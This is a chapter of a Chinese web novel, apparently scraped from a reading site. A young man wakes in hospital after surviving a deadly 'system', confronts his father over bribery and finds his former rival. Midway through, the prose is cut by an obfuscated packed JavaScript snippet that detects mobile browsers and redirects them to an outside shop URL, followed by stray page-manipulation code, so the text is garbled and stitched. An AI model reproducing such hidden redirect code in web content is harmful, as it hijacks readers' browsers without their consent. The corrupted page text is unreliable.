12. 平安回家
作品:《死对头和我只能活一个》 江维愣住。
那是妈妈的声音。
他僵硬地转过头,看见母亲守在病床边,紧紧攥着他的手,泪流满面。
“维维……你吓死妈妈了。失踪了三个多月,一直高烧不退。我们报了警,警察那边音讯全无,我差点活不下去了……”
“这里是……” 江维张了张嘴。他竟然回来了。
那陆夭野呢?他死了吗?他会不会也被留在那个阴暗的世界,最后成为一堆无人问津的白骨。
他哑着嗓子问:“我失踪了多久?”
江夫人握着他的手,眼泪止不住地往下落:“一百零五天……找到你的时候,你在海边。陆夭野也躺在你旁边,你们俩都昏迷不醒,一起被送到医院。现在已经过去一个星期了。你们是被谁绑架了?还记得那些人的脸吗?”
江维猛地坐起来,险些扯掉了手臂上的软管:“陆夭野也回来了?!他人呢?”
江夫人慌忙按住他,抹了抹眼泪:“你别激动,他也在这家医院,不过在骨科。他脑袋受了伤,还在昏迷。快告诉妈妈,到底是谁绑架了你们?这些人胆大包天,我一定要给你讨个公道!”
“不是……”江维低下头,脑子里飞快地转着,只能随便编个理由,“我们出去玩,不小心坠海,被冲到一个孤岛上了。手机没信号,后来不知道怎么找到船回来的,记不太清了。”
“好好好,没事就好……”江夫人轻轻拍着他的手,声音哽咽,“妈妈再也不逼你接手公司了。你爸这些天也急坏了,头发都白了一半……就不该让你和陆夭野见面,引发祸端。”
江维重新躺下,病房里弥漫着消毒水的气味,混杂着母亲身上熟悉的香水味。他终于离开了那个阴森诡异的系统。
所以,毁掉SW系统的方法,是生出爱意。
那么多人都死在那里,是不是因为他们只想活着,从未真正理解过感情?
他想起陆夭野。
想起他们在绝境中互相试探、互相较量、互相支撑的那些日子。
他竟然对那个男人有了好感,不是从前那种敌对的较劲,而是像是势均力敌的战友。
他清楚陆夭野的实力,敬佩他的坚韧,所以才会生出异样的念头,想把这种厉害的人永远留在自己身边。
门被推开。
江乔胜带着医生进来。
江维抬起头,看了父亲一眼。脑海里浮现出陆夭野说的那些话,他的眉头不由自主地皱紧了。
医生拿出听诊器,仔细检查了一遍,说:“江少爷没什么大碍了,身体多处受伤,需要慢慢静养半个月。”
江维面无表情。
静养?他被捅过一刀,又掉下悬崖,都活着走出来了,哪需要那么久。
“那就好,那就好……”江乔胜长长地吁了口气,眼下的暗影遮不住。他就这么一个独子,若是出了什么事,往后的日子还有什么奔头。
“到底怎么回事?”江乔胜的目光落在儿子脸上,“你说你去找陆夭野,结果被发现的时候,两个人都一身伤?谁能打得过你们两个这么高个子的人?”
江维现在只想好好睡一觉,但又想去看看陆夭野,确认他还活着。他没心思和父亲多说什么。
“我不想解释。”江维抬起头,直视着父亲,“你只需要知道,我遇到危险就行了。”
他声音沉下来:“我也很好奇,陆夭野为什么出高价抢你的项目,你心里有数吗?”
江乔胜眉头一拧,目光陡然锐利起来:“什么意思?”
江维一字一句道:“你贿赂官员,攀附关系,才拿到那么多项目和合作。你也喜欢用钱收买别人。我真没想到,您居然是这种人。在我心里,父亲本是一个正直、伟大的人。爸,你让我很失望。”
江夫人脸色大变,抓住他的手:“宝贝,你上哪儿听到的这些?胡说八道!这都是诬陷……是陆夭野告诉你的吗?那孩子极其狡猾,你别听信他的谗言!”
江维没说话,只是伸手拔掉了手背上的针头。血珠渗出来,顺着皮肤滑下一道细细的红痕。
他跌跌撞撞地站起来,声音很冷:“是吗?好……我现在就去警察局,让他们好好查一查,你到底有没有贪赃枉法。”
“江维!”
江乔胜一把抓住他的手腕,脸色铁青,但眼底分明压着一丝慌乱:“你先休息。你失踪这么久,身体各项指标都不达标。我知道陆夭野告诉了你很多事情,但是……”
“爸爸也是没办法。咱们家没有后台,没有关系,只能用钱一步一步往上爬。你能有现在的生活,难道不是靠我的付出吗?”
江维甩开他的手:“你真让我失望。”
胸口像堵着一团火,烧得他眼眶发酸。
“我说去找陆夭野算账的时候,你怎么不拦着我?你就想让我和他结成仇敌,这样我就能帮你对付他,是不是?!”
江乔胜低下头,沉默了很久。
“……爸爸对不起你。”他的声音沙哑,像是一夜老了十岁,“我没想到你去找他,会两个人一起失踪。如果是他想害你,我一定给你讨个公道!”
“我不需要。”
江维推开他们,一瘸一拐地往门外走。手背上的针孔还渗着血,他却像感觉不到疼。
“维维!维维你去哪儿——”江夫人追上来扶住他,眼泪又涌出来,“你身体还没好,别乱跑,妈妈陪你去……”
她紧紧攥着儿子的胳膊,声音碎得不成样子:“虽然你爸爸做了错事,但是他是真的爱你。这段时间,他天天泡在警察局,工作也不去了,就想找到你……我们的眼泪都快流干了。维维,你听妈妈解释,我一定让他改,你别生气,别气坏了身体……”
江维没推开她。
他很难过。那些消失的日子里,他想念父母想得发疯。
能活着再见到他们,是老天开眼。可此刻站在母亲身边,他心里却空了一个洞。
父亲表面坦荡,暗地里竟是个贪官。他从小敬仰的那个形象,碎了。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17185220|197005||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
他问清楚陆夭野的病房,在前台打听后才知道,在另一栋楼,刚转过去。
下楼的时候,江夫人一直跟在他身边,小心翼翼地搀着他。
“你俩什么时候关系这么好了?”她忍不住问,“一醒过来就找他,这么担心他的伤啊?”
江维没吭声。
江夫人眼眶又红了。她最近太累了,整个人憔悴得厉害,眼袋浮肿,乌黑的长发里竟掺了许多白丝。
她哑着嗓子说:“维维……你就算知道了真相,也不能不理我们啊?这几天我活不下去,想着你要是出了事,我也不活了……你现在这样不搭理我,是要了我的命。”
江维停下脚步,转过身。
他看着母亲苍白的脸、红肿的眼睛、增加了很多斑白的发,胸口那团火忽然熄了,只剩下酸涩的潮水涌上来。
他伸出手,把母亲拥进怀里。
“妈,那你答应我,以后绝不许再骗我。你们两个贪了多少钱,全部捐到公益里去。就算贷款,也得把那些钱全部吐出来。”
江夫人用力点头,轻轻抚摸着他的后脑勺:“好好好,妈妈答应你……我知道错了……眼下只有你平安最重要。这些错事,我们以后绝对不碰。比起失去你,其他东西都不重要了。”
“妈……” 江维伸出双手轻轻揽住女人后背,在这一刻,他终于明白亲人有多重要。如果死在那个系统里,父母会忘记他,到那时候,还有谁会记得他曾经活过?
-
D区医院大楼。
江维和母亲一路问过去,终于找到陆夭野的病房。门没关严,里面传来说话声,听起来很热闹,想必是人也醒了。
“这也太吓人了,怎么会发生这种事?”
“歹徒长什么样还记得吗?爸妈一定要找到凶手,把那些人绳之以法。”
“还好你没事。这段时间,我和你爸都快急疯了,公司也乱成一团。”
“不用调查,找不到他们的。” 陆夭野声音听起来很冷静。
江维敲了敲门,发现没有锁,就直接推开了。
陆夭野躺在病床上,脸色苍白。脖子上横着一道浅淡的疤痕,头上缠着厚厚的纱布,隐隐透出些血迹。他的父母坐在床边,满脸憔悴与心疼。
他们在系统里受过的伤,全部都是真的,这都不是梦。
陆夭野的目光落在他身上。
然后,那个一向冷着脸的男人,眯起眼,嘴角微微扬起,露出一丝极轻的笑容。
“江维,你也回来了。”
陆父陆母同时愣住。他们几乎没见过儿子笑。怎么一见到江维,反而看起来很开心的样子?他们很熟吗?
“陆叔叔好,阿姨好。”江维还是礼貌地打了招呼。
陆父颔首,抬眼细细打量着他:“你就是江乔胜的儿子?五官很像他,长得挺不错。”
他父亲看起来没有传说中的那么严厉。江维暗自犯着嘀咕,夸人的话听起来很僵硬,儿子哪有不像爸的。

